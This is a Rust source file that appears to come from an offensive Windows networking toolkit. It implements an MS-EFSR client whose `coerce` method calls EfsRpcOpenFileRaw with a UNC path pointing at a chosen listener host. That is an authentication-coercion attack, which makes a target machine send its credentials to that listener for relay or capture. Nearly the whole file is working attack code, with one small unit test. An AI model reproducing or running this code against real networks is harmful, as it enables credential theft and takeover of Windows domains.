use crate::ndr::NdrEncoder;
use crate::transport::SmbPipe;
use crate::{Result, Syntax};
use smb2_client::SmbClient;
pub fn efsr_syntax() -> Syntax {
Syntax::new("c681d488-d850-11d0-8c52-00c04fd90f7e", 1, 0)
}
pub const OPNUM_OPEN_FILE_RAW: u16 = 0;
pub fn encode_open_file_raw(unc: &str) -> Vec<u8> {
let mut e = NdrEncoder::new();
e.referent(); e.conformant_varying_wstr(unc); e.u32(0); e.into_bytes()
}
pub struct CoerceClient<'a> {
pipe: SmbPipe<'a>,
sealed: bool,
}
impl<'a> CoerceClient<'a> {
pub async fn bind_sealed(
client: &'a mut SmbClient,
file_id: [u8; 16],
domain: &str,
user: &str,
password: &str,
host: &str,
) -> Result<Self> {
let mut pipe = SmbPipe::new(client, file_id);
pipe.bind_sealed(efsr_syntax(), domain, user, password, host)
.await?;
Ok(CoerceClient { pipe, sealed: true })
}
pub async fn coerce(&mut self, listener: &str) -> Result<u32> {
let unc = format!("\\\\{listener}\\share\\efsrpc.txt");
let resp = if self.sealed {
self.pipe
.call_sealed(OPNUM_OPEN_FILE_RAW, &encode_open_file_raw(&unc))
.await?
} else {
self.pipe
.call(OPNUM_OPEN_FILE_RAW, &encode_open_file_raw(&unc))
.await?
};
let status = resp
.len()
.checked_sub(4)
.and_then(|o| resp.get(o..o + 4))
.map(|b| u32::from_le_bytes(b.try_into().unwrap()))
.unwrap_or(0);
Ok(status)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn open_file_raw_marshals_unc_and_flags() {
let stub = encode_open_file_raw("\\\\10.0.0.1\\s\\x");
assert_ne!(u32::from_le_bytes(stub[0..4].try_into().unwrap()), 0); assert_eq!(&stub[stub.len() - 4..], &[0, 0, 0, 0]); }
}